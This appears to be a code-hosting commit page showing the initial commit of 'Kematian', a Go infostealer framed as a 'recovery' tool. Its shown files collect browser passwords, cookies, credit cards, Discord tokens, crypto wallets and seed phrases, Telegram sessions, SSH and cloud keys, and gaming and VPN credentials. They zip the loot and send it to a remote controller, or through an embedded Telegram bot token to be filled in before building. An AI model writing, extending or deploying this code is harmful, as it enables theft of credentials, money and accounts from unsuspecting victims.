initial commit

This commit is contained in:
i2p
2026-08-27 11:21:43 -06:00
commit f25acb03f3
84 changed files with 12747 additions and 0 deletions
+361
View File
@@ -0,0 +1,361 @@
// Command devtool is a standalone development harness for the Kematian
// recovery pipeline. It emulates the plugin host + server by running the same
// collection code as the c-shared plugin, then prints a summary (or, with
// -verbose, the full event/result JSON) to the console.
//
// Usage examples:
//
// go run ./cmd/devtool # collect everything, summary
// go run ./cmd/devtool -cookies -browser Brave # just Brave cookies
// go run ./cmd/devtool -verbose # dump full JSON events
// go run ./cmd/devtool -out result.json -no-inject
//
// It is not loaded as a plugin; it links the recovery package directly and is
// meant to make local development and debugging easier.
package main
import (
"context"
"encoding/base64"
"encoding/json"
"flag"
"fmt"
"log"
"os"
"sort"
"strings"
"time"
recovery "recovery/recovery"
)
const maxAutoDownloadSize = 50 * 1024 * 1024 // 50MB, matches plugin
var verbose bool
func main() {
var (
outPath string
timeoutSec int
browser string
noInject bool
includeZip bool
all bool
passwords bool
cookies bool
autofill bool
history bool
bookmarks bool
cards bool
discord bool
files bool
wallets bool
telegram bool
keys bool
apps bool
gaming bool
vpn bool
extensions bool
fingerprint bool
fingerprintJS bool
)
flag.StringVar(&outPath, "out", "", "write the full result JSON to this file")
flag.IntVar(&timeoutSec, "timeout", 120, "collection timeout in seconds")
flag.StringVar(&browser, "browser", "", "only show results for this browser (case-insensitive); scanning is not restricted")
flag.BoolVar(&noInject, "no-inject", false, "skip DLL injection (direct file access only, no App-Bound/v20 keys)")
flag.BoolVar(&verbose, "verbose", false, "print full event/result JSON (default: summary only)")
flag.BoolVar(&includeZip, "content", false, "include base64 content in auto-download events")
flag.BoolVar(&all, "all", false, "collect everything")
flag.BoolVar(&passwords, "passwords", false, "collect passwords")
flag.BoolVar(&cookies, "cookies", false, "collect cookies")
flag.BoolVar(&autofill, "autofill", false, "collect autofill")
flag.BoolVar(&history, "history", false, "collect history")
flag.BoolVar(&bookmarks, "bookmarks", false, "collect bookmarks")
flag.BoolVar(&cards, "cards", false, "collect credit cards")
flag.BoolVar(&discord, "discord", false, "collect Discord tokens")
flag.BoolVar(&files, "files", false, "scan files")
flag.BoolVar(&wallets, "wallets", false, "scan wallets")
flag.BoolVar(&telegram, "telegram", false, "scan Telegram sessions")
flag.BoolVar(&keys, "keys", false, "scan SSH & cloud keys")
flag.BoolVar(&apps, "apps", false, "scan app credentials")
flag.BoolVar(&gaming, "gaming", false, "scan gaming platforms")
flag.BoolVar(&vpn, "vpn", false, "scan VPN configs")
flag.BoolVar(&extensions, "extensions", false, "scan browser extensions")
flag.BoolVar(&fingerprint, "fingerprint", false, "collect the native browser fingerprint and exit")
flag.BoolVar(&fingerprintJS, "fingerprint-js", false, "collect the JS (canvas/WebGL/audio) fingerprint and exit")
flag.Parse()
if noInject {
os.Setenv("KEMATIAN_NO_INJECT", "1")
}
if fingerprint {
fp := recovery.CollectFingerprint()
data, _ := json.MarshalIndent(fp, "", " ")
fmt.Println(string(data))
return
}
if fingerprintJS {
fp := recovery.CollectJSFingerprint()
if fp == nil {
fmt.Println("{\"error\": \"failed to collect JS fingerprint\"}")
return
}
data, _ := json.MarshalIndent(fp, "", " ")
fmt.Println(string(data))
return
}
anyData := passwords || cookies || autofill || history || bookmarks || cards ||
discord || files || wallets || telegram || keys || apps || gaming || vpn || extensions
opts := recovery.CollectOptions{
Browsers: all || !anyData || passwords || cookies || autofill || history || bookmarks || cards || extensions,
Passwords: all || !anyData || passwords,
Cookies: all || !anyData || cookies,
Autofill: all || !anyData || autofill,
History: all || !anyData || history,
Bookmarks: all || !anyData || bookmarks,
CreditCards: all || !anyData || cards,
Discord: all || !anyData || discord,
Files: all || !anyData || files,
Wallets: all || !anyData || wallets,
Telegram: all || !anyData || telegram,
Keys: all || !anyData || keys,
Apps: all || !anyData || apps,
Gaming: all || !anyData || gaming,
VPNs: all || !anyData || vpn,
}
log.Printf("devtool: timeout=%ds browser=%q noInject=%v verbose=%v", timeoutSec, browser, noInject, verbose)
printEvent("status", map[string]string{"message": "Starting collection (devtool)..."})
var exts []recovery.ExtensionResult
if opts.Browsers || extensions {
exts = recovery.ScanExtensions()
log.Printf("devtool: extension scan complete: %d extensions", len(exts))
}
partialFn := func(partial *recovery.CollectionResult) {
printEvent("partial", filter(partial, browser))
}
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeoutSec)*time.Second)
defer cancel()
start := time.Now()
result, err := recovery.Collect(ctx, opts, partialFn)
if err != nil {
log.Printf("devtool: collection failed: %v", err)
printEvent("error", map[string]string{"error": err.Error()})
os.Exit(1)
}
if opts.Browsers || extensions {
result.Extensions = exts
}
printSummary(filter(result, browser))
printEvent("results", filter(result, browser))
if len(result.Wallets) > 0 {
autoDownloadWallets(result.Wallets, includeZip)
}
seeds := recovery.ScanSeeds(result.Files, result.Passwords, result.Autofill)
if len(seeds) > 0 {
log.Printf("devtool: seed scan found %d seed phrases", len(seeds))
printEvent("seed_scan_results", map[string]interface{}{"seeds": seeds})
}
if outPath != "" {
if err := writeResult(outPath, filter(result, browser)); err != nil {
log.Printf("devtool: failed to write output: %v", err)
os.Exit(1)
}
log.Printf("devtool: wrote result to %s", outPath)
}
log.Printf("devtool: collection completed in %s", time.Since(start).Round(time.Millisecond))
}
// printEvent emulates the server receiving an event + JSON payload. Only used
// when -verbose is set.
func printEvent(event string, payload interface{}) {
if !verbose {
return
}
data, err := json.MarshalIndent(payload, "", " ")
if err != nil {
log.Printf("devtool: marshal %s: %v", event, err)
return
}
fmt.Printf("\n===== EVENT: %s =====\n%s\n", event, string(data))
}
type browserCounts struct {
cookies, passwords, autofill, history, bookmarks, cards, extensions int
}
func tally(r *recovery.CollectionResult) map[string]*browserCounts {
m := map[string]*browserCounts{}
get := func(b string) *browserCounts {
if b == "" {
b = "(unknown)"
}
c, ok := m[b]
if !ok {
c = &browserCounts{}
m[b] = c
}
return c
}
for _, v := range r.Cookies {
get(v.Browser).cookies++
}
for _, v := range r.Passwords {
get(v.Browser).passwords++
}
for _, v := range r.Autofill {
get(v.Browser).autofill++
}
for _, v := range r.History {
get(v.Browser).history++
}
for _, v := range r.Bookmarks {
get(v.Browser).bookmarks++
}
for _, v := range r.CreditCards {
get(v.Browser).cards++
}
for _, v := range r.Extensions {
get(v.Browser).extensions++
}
return m
}
func printSummary(r *recovery.CollectionResult) {
fmt.Printf("\n===== SUMMARY =====\n")
byBrowser := tally(r)
names := make([]string, 0, len(byBrowser))
for b := range byBrowser {
names = append(names, b)
}
sort.Strings(names)
fmt.Printf("%-14s %9s %9s %8s %7s %9s %5s %10s\n",
"browser", "cookies", "passwords", "autofill", "history", "bookmarks", "cards", "extensions")
for _, b := range names {
c := byBrowser[b]
fmt.Printf("%-14s %9d %9d %8d %7d %9d %5d %10d\n",
b, c.cookies, c.passwords, c.autofill, c.history, c.bookmarks, c.cards, c.extensions)
}
fmt.Printf("\ndiscord tokens: %d\n", len(r.DiscordTokens))
fmt.Printf("files: %d\n", len(r.Files))
fmt.Printf("wallets: %d\n", len(r.Wallets))
fmt.Printf("telegram: %d\n", len(r.Telegram))
fmt.Printf("keys: %d\n", len(r.Keys))
fmt.Printf("apps: %d\n", len(r.AppCredentials))
if r.Gaming != nil {
fmt.Printf("gaming: present\n")
}
if r.VPNs != nil {
fmt.Printf("vpns: present\n")
}
if len(r.Errors) > 0 {
fmt.Printf("\nerrors: %d\n", len(r.Errors))
for _, e := range r.Errors {
fmt.Printf(" - %s\n", e)
}
}
}
func writeResult(path string, r *recovery.CollectionResult) error {
data, err := json.MarshalIndent(r, "", " ")
if err != nil {
return err
}
return os.WriteFile(path, data, 0600)
}
func autoDownloadWallets(wallets []recovery.WalletResult, includeZip bool) {
for _, w := range wallets {
if w.Size > maxAutoDownloadSize {
log.Printf("devtool: skipping auto-download for %q (%d bytes exceeds limit)", w.Name, w.Size)
continue
}
data, err := recovery.ZipDirectory(w.Path)
if err != nil {
log.Printf("devtool: auto-download zip %q: %v", w.Name, err)
continue
}
log.Printf("devtool: wallet %q (%s) zipped %d bytes", w.Name, w.Type, len(data))
if includeZip {
printEvent("wallet_auto_data", map[string]interface{}{
"name": w.Name,
"type": w.Type,
"path": w.Path,
"addresses": w.Addresses,
"vaultData": w.VaultData,
"size": len(data),
"content": base64.StdEncoding.EncodeToString(data),
})
}
}
}
// filter returns a copy of r restricted to a single browser (case-insensitive)
// when name is non-empty. Non-browser fields are dropped in that case so the
// output stays focused on the browser under test.
func filter(r *recovery.CollectionResult, name string) *recovery.CollectionResult {
if name == "" {
return r
}
match := func(b string) bool { return strings.EqualFold(b, name) }
out := &recovery.CollectionResult{}
for _, v := range r.Passwords {
if match(v.Browser) {
out.Passwords = append(out.Passwords, v)
}
}
for _, v := range r.Cookies {
if match(v.Browser) {
out.Cookies = append(out.Cookies, v)
}
}
for _, v := range r.Autofill {
if match(v.Browser) {
out.Autofill = append(out.Autofill, v)
}
}
for _, v := range r.History {
if match(v.Browser) {
out.History = append(out.History, v)
}
}
for _, v := range r.Bookmarks {
if match(v.Browser) {
out.Bookmarks = append(out.Bookmarks, v)
}
}
for _, v := range r.CreditCards {
if match(v.Browser) {
out.CreditCards = append(out.CreditCards, v)
}
}
for _, v := range r.Extensions {
if match(v.Browser) {
out.Extensions = append(out.Extensions, v)
}
}
out.Errors = r.Errors
return out
}
+48
View File
@@ -0,0 +1,48 @@
package main
import (
"context"
"os"
"os/signal"
"syscall"
"time"
"recovery/recovery/exfil"
)
const (
defaultTimeout = 120 * time.Second
// EMBEDDED CONFIG - Change these values before building
defaultBotToken = "YOUR_BOT_TOKEN_HERE"
defaultChatID = "YOUR_CHAT_ID_HERE"
)
func main() {
useTelegram := defaultBotToken != "" && defaultBotToken != "YOUR_BOT_TOKEN_HERE" && defaultChatID != "" && defaultChatID != "YOUR_CHAT_ID_HERE"
if !useTelegram {
return
}
ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout)
defer cancel()
sigChan := make(chan os.Signal, 1)
signal.Notify(sigChan, os.Interrupt, syscall.SIGTERM)
go func() {
<-sigChan
cancel()
}()
zipData, counts, err := exfil.CollectAndZipAll(ctx)
if err != nil {
return
}
filename := "kematian_" + time.Now().Format("20060102_150405") + ".zip"
cfg := exfil.TelegramConfig{
BotToken: defaultBotToken,
ChatID: defaultChatID,
}
_ = exfil.SendToTelegram(cfg, zipData, filename, counts)
}
+64
View File
@@ -0,0 +1,64 @@
//go:build windows
package main
import "C"
import (
"syscall"
"unsafe"
)
var callbackPtr uintptr
func hostSendViaCallback(event string, payload []byte) {
cb := callbackPtr
if cb == 0 {
return
}
eventBytes := []byte(event)
var evPtr, plPtr uintptr
evLen := uintptr(len(eventBytes))
plLen := uintptr(len(payload))
if len(eventBytes) > 0 {
evPtr = uintptr(unsafe.Pointer(&eventBytes[0]))
}
if len(payload) > 0 {
plPtr = uintptr(unsafe.Pointer(&payload[0]))
}
syscall.SyscallN(cb, evPtr, evLen, plPtr, plLen)
}
//export PluginSetCallback
func PluginSetCallback(cb C.ulonglong) {
callbackPtr = uintptr(cb)
setSend(hostSendViaCallback)
}
//export PluginOnLoad
func PluginOnLoad(hostInfo *C.char, hostInfoLen C.int, cb C.ulonglong) C.int {
callbackPtr = uintptr(cb)
setSend(hostSendViaCallback)
data := C.GoBytes(unsafe.Pointer(hostInfo), hostInfoLen)
if err := handleInit(data); err != nil {
return 1
}
return 0
}
//export PluginOnEvent
func PluginOnEvent(event *C.char, eventLen C.int, payload *C.char, payloadLen C.int) C.int {
ev := C.GoStringN(event, eventLen)
var pl []byte
if payloadLen > 0 {
pl = C.GoBytes(unsafe.Pointer(payload), payloadLen)
}
if err := handleEvent(ev, pl); err != nil {
return 1
}
return 0
}
//export PluginOnUnload
func PluginOnUnload() {
handleUnload()
}
+20
View File
@@ -0,0 +1,20 @@
module recovery
go 1.26
require (
github.com/mattn/go-sqlite3 v1.14.18
golang.org/x/sys v0.47.0
)
require golang.org/x/crypto v0.50.0
require (
github.com/chromedp/cdproto v0.0.0-20260714215040-dc233986426f // indirect
github.com/chromedp/chromedp v0.16.0 // indirect
github.com/chromedp/sysutil v1.1.0 // indirect
github.com/go-json-experiment/json v0.0.0-20260623181947-01eb4420fa68 // indirect
github.com/gobwas/httphead v0.1.0 // indirect
github.com/gobwas/pool v0.2.1 // indirect
github.com/gobwas/ws v1.4.0 // indirect
)
+23
View File
@@ -0,0 +1,23 @@
github.com/chromedp/cdproto v0.0.0-20260714215040-dc233986426f h1:0Z1zcSLEmnj2c2CmJYBqewtS6pxhB39bNWUSEUAWjgk=
github.com/chromedp/cdproto v0.0.0-20260714215040-dc233986426f/go.mod h1:RwFsSODCtFExll+GhHM6R92SARHR3Z3oipaxLHj46C0=
github.com/chromedp/chromedp v0.16.0 h1:rOO4deOm4CbZgBCa8mD9g2rDyIoNs0BkgvNrlbp5ouk=
github.com/chromedp/chromedp v0.16.0/go.mod h1:rbuGKFT1vMcFcFqKfPIO1GpX/N+2s8onm2qMxZLbU5U=
github.com/chromedp/sysutil v1.1.0 h1:PUFNv5EcprjqXZD9nJb9b/c9ibAbxiYo4exNWZyipwM=
github.com/chromedp/sysutil v1.1.0/go.mod h1:WiThHUdltqCNKGc4gaU50XgYjwjYIhKWoHGPTUfWTJ8=
github.com/go-json-experiment/json v0.0.0-20260623181947-01eb4420fa68 h1:KZaTBSyshWX3MP5jukJcNSuXDQTO+rNpt0J564dX/eg=
github.com/go-json-experiment/json v0.0.0-20260623181947-01eb4420fa68/go.mod h1:tphK2c80bpPhMOI4v6bIc2xWywPfbqi1Z06+RcrMkDg=
github.com/gobwas/httphead v0.1.0 h1:exrUm0f4YX0L7EBwZHuCF4GDp8aJfVeBrlLQrs6NqWU=
github.com/gobwas/httphead v0.1.0/go.mod h1:O/RXo79gxV8G+RqlR/otEwx4Q36zl9rqC5u12GKvMCM=
github.com/gobwas/pool v0.2.1 h1:xfeeEhW7pwmX8nuLVlqbzVc7udMDrwetjEv+TZIz1og=
github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw=
github.com/gobwas/ws v1.4.0 h1:CTaoG1tojrh4ucGPcoJFiAQUAsEWekEWvLy7GsVNqGs=
github.com/gobwas/ws v1.4.0/go.mod h1:G3gNqMNtPppf5XUz7O4shetPpcZ1VJ7zt18dlUeakrc=
github.com/mattn/go-sqlite3 v1.14.18 h1:JL0eqdCOq6DJVNPSvArO/bIV9/P7fbGrV00LZHc+5aI=
github.com/mattn/go-sqlite3 v1.14.18/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg=
golang.org/x/crypto v0.50.0 h1:zO47/JPrL6vsNkINmLoo/PH1gcxpls50DNogFvB5ZGI=
golang.org/x/crypto v0.50.0/go.mod h1:3muZ7vA7PBCE6xgPX7nkzzjiUq87kRItoJQM1Yo8S+Q=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.43.0 h1:Rlag2XtaFTxp19wS8MXlJwTvoh8ArU6ezoyFsMyCTNI=
golang.org/x/sys v0.43.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
golang.org/x/sys v0.47.0 h1:o7XGOvZQCADBQQ4Y7VNq2dRWQR7JmOUW8Kxx4ZsNgWs=
golang.org/x/sys v0.47.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
+588
View File
@@ -0,0 +1,588 @@
package main
import (
"context"
"encoding/base64"
"encoding/json"
"log"
"path/filepath"
"recovery/recovery"
"sync"
"sync/atomic"
"time"
)
// collectDeadline bounds an entire collection run. A single stuck browser
// (NSS/COM/pipe stall) must never wedge the agent for more than this.
const collectDeadline = 90 * time.Second
type HostInfo struct {
ClientID string `json:"clientId"`
OS string `json:"os"`
Arch string `json:"arch"`
Version string `json:"version"`
}
var (
hostInfo HostInfo
sendFn func(event string, payload []byte)
mu sync.Mutex
collecting atomic.Bool
)
func setSend(fn func(event string, payload []byte)) {
mu.Lock()
sendFn = fn
mu.Unlock()
}
func sendEvent(event string, payload interface{}) {
mu.Lock()
fn := sendFn
mu.Unlock()
if fn == nil {
return
}
data, err := json.Marshal(payload)
if err != nil {
log.Printf("[recovery] marshal error: %v", err)
return
}
fn(event, data)
}
func handleInit(hostJSON []byte) error {
if err := json.Unmarshal(hostJSON, &hostInfo); err != nil {
return err
}
log.Printf("[recovery] init: clientId=%s os=%s arch=%s", hostInfo.ClientID, hostInfo.OS, hostInfo.Arch)
sendEvent("ready", map[string]string{"status": "recovery plugin ready"})
return nil
}
func handleEvent(event string, payload []byte) error {
switch event {
case "collect":
go handleCollect(payload)
case "scan_files":
go handleScanFiles()
case "scan_extensions":
go handleScanExtensions()
case "fetch_file":
go handleFetchFile(payload)
case "fetch_ext_zip":
go handleFetchExtZip(payload)
case "scan_wallets":
go handleScanWallets()
case "fetch_wallet_zip":
go handleFetchWalletZip(payload)
case "scan_telegram":
go handleScanTelegram()
case "fetch_telegram_zip":
go handleFetchTelegramZip(payload)
case "scan_keys":
go handleScanKeys()
case "scan_apps":
go handleScanApps()
case "scan_gaming":
go handleScanGaming()
case "scan_vpn":
go handleScanVPN()
case "fingerprint":
go handleFingerprint()
case "fingerprint_js":
go handleFingerprintJS()
case "ping":
sendEvent("pong", nil)
default:
log.Printf("[recovery] unhandled event: %s", event)
}
return nil
}
func handleCollect(payload []byte) {
if !collecting.CompareAndSwap(false, true) {
log.Printf("[recovery] collection already in progress, ignoring duplicate request")
return
}
defer collecting.Store(false)
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] collection panic: %v", r)
sendEvent("error", map[string]string{"error": "internal collection error"})
}
}()
var opts recovery.CollectOptions
if len(payload) > 0 {
json.Unmarshal(payload, &opts)
} else {
opts.Browsers = true
}
if opts.Browsers {
noneSet := !opts.Passwords && !opts.Cookies && !opts.Autofill &&
!opts.History && !opts.Bookmarks && !opts.CreditCards && !opts.Discord
if noneSet {
opts.Passwords = true
opts.Cookies = true
opts.Autofill = true
opts.History = true
opts.Bookmarks = true
opts.CreditCards = true
opts.Discord = true
opts.Files = true
opts.Wallets = true
opts.Telegram = true
opts.Keys = true
opts.Apps = true
opts.Gaming = true
opts.VPNs = true
}
}
log.Printf("[recovery] starting collection (passwords=%v cookies=%v autofill=%v history=%v bookmarks=%v cards=%v discord=%v)",
opts.Passwords, opts.Cookies, opts.Autofill, opts.History, opts.Bookmarks, opts.CreditCards, opts.Discord)
sendEvent("status", map[string]string{"message": "Resolving encryption keys..."})
var extensions []recovery.ExtensionResult
var extWg sync.WaitGroup
if opts.Browsers {
extWg.Add(1)
go func() {
defer extWg.Done()
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] extension scan panic: %v", r)
}
}()
extensions = recovery.ScanExtensions()
}()
}
partialFn := func(partial *recovery.CollectionResult) {
sendEvent("partial", partial)
}
ctx, cancel := context.WithTimeout(context.Background(), collectDeadline)
defer cancel()
result, err := recovery.Collect(ctx, opts, partialFn)
if err != nil {
log.Printf("[recovery] collection failed: %v", err)
sendEvent("error", map[string]string{"error": err.Error()})
return
}
if opts.Browsers {
extWg.Wait()
result.Extensions = extensions
}
log.Printf("[recovery] collection complete: %d passwords, %d cookies, %d autofill, %d history, %d bookmarks, %d cards, %d discord tokens, %d extensions, %d wallets, %d telegram, %d keys, %d app creds",
len(result.Passwords), len(result.Cookies), len(result.Autofill),
len(result.History), len(result.Bookmarks), len(result.CreditCards), len(result.DiscordTokens), len(result.Extensions), len(result.Wallets), len(result.Telegram), len(result.Keys), len(result.AppCredentials))
sendEvent("results", result)
if len(result.Wallets) > 0 {
go func() {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] wallet auto-download panic: %v", r)
}
}()
autoDownloadWallets(result.Wallets)
}()
}
go func() {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] seed scan panic: %v", r)
}
}()
seeds := recovery.ScanSeeds(result.Files, result.Passwords, result.Autofill)
if len(seeds) > 0 {
log.Printf("[recovery] seed scan found %d seed phrases", len(seeds))
sendEvent("seed_scan_results", map[string]interface{}{
"seeds": seeds,
})
}
}()
}
func handleScanExtensions() {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] extension scan panic: %v", r)
sendEvent("error", map[string]string{"error": "extension scan error"})
}
}()
sendEvent("status", map[string]string{"message": "Scanning extensions..."})
exts := recovery.ScanExtensions()
log.Printf("[recovery] extension scan complete: %d extensions", len(exts))
sendEvent("extension_scan_results", map[string]interface{}{
"extensions": exts,
})
}
func handleFetchExtZip(payload []byte) {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] fetch_ext_zip panic: %v", r)
sendEvent("fetch_ext_zip_error", map[string]string{"error": "internal error"})
}
}()
var req struct {
Path string `json:"path"`
ExtID string `json:"extId"`
}
if err := json.Unmarshal(payload, &req); err != nil || req.Path == "" {
sendEvent("fetch_ext_zip_error", map[string]string{"error": "invalid request"})
return
}
data, err := recovery.ZipDirectory(req.Path)
if err != nil {
log.Printf("[recovery] fetch_ext_zip %q: %v", req.ExtID, err)
sendEvent("fetch_ext_zip_error", map[string]string{"path": req.Path, "error": err.Error()})
return
}
log.Printf("[recovery] zipped extension %q (%d bytes)", req.ExtID, len(data))
sendEvent("fetch_ext_zip_result", map[string]interface{}{
"path": req.Path,
"extId": req.ExtID,
"size": len(data),
"content": base64.StdEncoding.EncodeToString(data),
})
}
const maxAutoDownloadSize = 50 * 1024 * 1024 // 50MB
func handleScanWallets() {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] wallet scan panic: %v", r)
sendEvent("error", map[string]string{"error": "wallet scan error"})
}
}()
sendEvent("status", map[string]string{"message": "Scanning wallets..."})
wallets := recovery.ScanWallets()
log.Printf("[recovery] wallet scan complete: %d wallets", len(wallets))
sendEvent("wallet_scan_results", map[string]interface{}{
"wallets": wallets,
})
autoDownloadWallets(wallets)
}
func autoDownloadWallets(wallets []recovery.WalletResult) {
for _, w := range wallets {
if w.Size > maxAutoDownloadSize {
log.Printf("[recovery] skipping auto-download for %q (%d bytes exceeds limit)", w.Name, w.Size)
continue
}
data, err := recovery.ZipDirectory(w.Path)
if err != nil {
log.Printf("[recovery] auto-download zip %q: %v", w.Name, err)
continue
}
log.Printf("[recovery] auto-download %q (%d bytes)", w.Name, len(data))
sendEvent("wallet_auto_data", map[string]interface{}{
"name": w.Name,
"type": w.Type,
"path": w.Path,
"addresses": w.Addresses,
"vaultData": w.VaultData,
"size": len(data),
"content": base64.StdEncoding.EncodeToString(data),
})
}
}
func handleFetchWalletZip(payload []byte) {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] fetch_wallet_zip panic: %v", r)
sendEvent("fetch_wallet_zip_error", map[string]string{"error": "internal error"})
}
}()
var req struct {
Path string `json:"path"`
Name string `json:"name"`
}
if err := json.Unmarshal(payload, &req); err != nil || req.Path == "" {
sendEvent("fetch_wallet_zip_error", map[string]string{"error": "invalid request"})
return
}
data, err := recovery.ZipDirectory(req.Path)
if err != nil {
log.Printf("[recovery] fetch_wallet_zip %q: %v", req.Name, err)
sendEvent("fetch_wallet_zip_error", map[string]string{"path": req.Path, "error": err.Error()})
return
}
log.Printf("[recovery] zipped wallet %q (%d bytes)", req.Name, len(data))
sendEvent("fetch_wallet_zip_result", map[string]interface{}{
"path": req.Path,
"name": req.Name,
"size": len(data),
"content": base64.StdEncoding.EncodeToString(data),
})
}
func handleScanFiles() {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] file scan panic: %v", r)
sendEvent("error", map[string]string{"error": "file scan error"})
}
}()
sendEvent("status", map[string]string{"message": "Scanning files..."})
files := recovery.ScanFiles()
log.Printf("[recovery] file scan complete: %d files", len(files))
sendEvent("file_scan_results", map[string]interface{}{
"files": files,
"truncated": len(files) >= 500,
})
}
func handleFetchFile(payload []byte) {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] fetch_file panic: %v", r)
sendEvent("fetch_file_error", map[string]string{"error": "internal error"})
}
}()
var req struct {
Path string `json:"path"`
}
if err := json.Unmarshal(payload, &req); err != nil || req.Path == "" {
sendEvent("fetch_file_error", map[string]string{"error": "invalid request"})
return
}
data, err := recovery.FetchFile(req.Path)
if err != nil {
log.Printf("[recovery] fetch_file %q: %v", req.Path, err)
sendEvent("fetch_file_error", map[string]string{"path": req.Path, "error": err.Error()})
return
}
log.Printf("[recovery] fetched %q (%d bytes)", req.Path, len(data))
sendEvent("fetch_file_result", map[string]interface{}{
"path": req.Path,
"name": filepath.Base(req.Path),
"size": len(data),
"content": base64.StdEncoding.EncodeToString(data),
})
}
func handleScanTelegram() {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] telegram scan panic: %v", r)
sendEvent("error", map[string]string{"error": "telegram scan error"})
}
}()
sendEvent("status", map[string]string{"message": "Scanning Telegram sessions..."})
sessions := recovery.ScanTelegram()
log.Printf("[recovery] telegram scan complete: %d accounts", len(sessions))
sendEvent("telegram_scan_results", map[string]interface{}{
"sessions": sessions,
})
for _, s := range sessions {
if s.Size > maxAutoDownloadSize {
log.Printf("[recovery] skipping telegram auto-download for %q (%d bytes exceeds limit)", s.Account, s.Size)
continue
}
data, err := recovery.ZipTelegram(s.Path)
if err != nil {
log.Printf("[recovery] telegram zip %q: %v", s.Account, err)
continue
}
log.Printf("[recovery] telegram auto-download %q (%d bytes)", s.Account, len(data))
sendEvent("telegram_data", map[string]interface{}{
"account": s.Account,
"path": s.Path,
"size": len(data),
"content": base64.StdEncoding.EncodeToString(data),
})
}
}
func handleFetchTelegramZip(payload []byte) {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] fetch_telegram_zip panic: %v", r)
sendEvent("fetch_telegram_zip_error", map[string]string{"error": "internal error"})
}
}()
var req struct {
Path string `json:"path"`
Account string `json:"account"`
}
if err := json.Unmarshal(payload, &req); err != nil || req.Path == "" {
sendEvent("fetch_telegram_zip_error", map[string]string{"error": "invalid request"})
return
}
data, err := recovery.ZipTelegram(req.Path)
if err != nil {
log.Printf("[recovery] fetch_telegram_zip %q: %v", req.Account, err)
sendEvent("fetch_telegram_zip_error", map[string]string{"path": req.Path, "error": err.Error()})
return
}
log.Printf("[recovery] zipped telegram %q (%d bytes)", req.Account, len(data))
sendEvent("telegram_data", map[string]interface{}{
"account": req.Account,
"path": req.Path,
"size": len(data),
"content": base64.StdEncoding.EncodeToString(data),
})
}
func handleScanKeys() {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] key scan panic: %v", r)
sendEvent("error", map[string]string{"error": "key scan error"})
}
}()
sendEvent("status", map[string]string{"message": "Scanning SSH & cloud keys..."})
keys := recovery.ScanKeys()
log.Printf("[recovery] key scan complete: %d keys", len(keys))
sendEvent("key_scan_results", map[string]interface{}{
"keys": keys,
})
}
func handleScanApps() {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] app scan panic: %v", r)
sendEvent("error", map[string]string{"error": "app credential scan error"})
}
}()
sendEvent("status", map[string]string{"message": "Scanning app credentials..."})
apps := recovery.ScanApps()
log.Printf("[recovery] app scan complete: %d credentials", len(apps))
sendEvent("app_scan_results", map[string]interface{}{
"appCredentials": apps,
})
}
func handleScanGaming() {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] gaming scan panic: %v", r)
sendEvent("error", map[string]string{"error": "gaming scan error"})
}
}()
sendEvent("status", map[string]string{"message": "Scanning gaming platforms..."})
gaming := recovery.ScanGaming()
sendEvent("gaming_scan_results", map[string]interface{}{
"gaming": gaming,
})
if gaming == nil {
return
}
autoDownloadGaming(gaming)
}
func autoDownloadGaming(gaming *recovery.GamingResult) {
type zipJob struct {
name string
fn func() ([]byte, error)
}
var jobs []zipJob
if gaming.Steam != nil && gaming.Steam.SteamPath != "" {
steamPath := gaming.Steam.SteamPath
jobs = append(jobs, zipJob{"steam", func() ([]byte, error) { return recovery.ZipSteamSession(steamPath) }})
}
if len(gaming.BattleNet) > 0 {
jobs = append(jobs, zipJob{"battlenet", recovery.ZipBattleNet})
}
if len(gaming.Epic) > 0 {
jobs = append(jobs, zipJob{"epic", recovery.ZipEpic})
}
if len(gaming.Riot) > 0 {
jobs = append(jobs, zipJob{"riot", recovery.ZipRiot})
}
if len(gaming.Uplay) > 0 {
jobs = append(jobs, zipJob{"uplay", recovery.ZipUplay})
}
for _, j := range jobs {
data, err := j.fn()
if err != nil || len(data) == 0 {
log.Printf("[recovery] gaming zip %s: %v", j.name, err)
continue
}
if len(data) > maxAutoDownloadSize {
log.Printf("[recovery] gaming zip %s too large (%d bytes), skipping", j.name, len(data))
continue
}
log.Printf("[recovery] gaming auto-download %s (%d bytes)", j.name, len(data))
sendEvent("gaming_data", map[string]interface{}{
"platform": j.name,
"size": len(data),
"content": base64.StdEncoding.EncodeToString(data),
})
}
}
func handleScanVPN() {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] vpn scan panic: %v", r)
sendEvent("error", map[string]string{"error": "vpn scan error"})
}
}()
sendEvent("status", map[string]string{"message": "Scanning VPN configurations..."})
vpns := recovery.ScanVPNs()
sendEvent("vpn_scan_results", map[string]interface{}{
"vpns": vpns,
})
}
func handleUnload() {
log.Printf("[recovery] unloading")
}
func handleFingerprint() {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] fingerprint panic: %v", r)
sendEvent("error", map[string]string{"error": "fingerprint error"})
}
}()
sendEvent("fingerprint_result", recovery.CollectFingerprint())
log.Printf("[recovery] fingerprint collected")
}
func handleFingerprintJS() {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] fingerprint_js panic: %v", r)
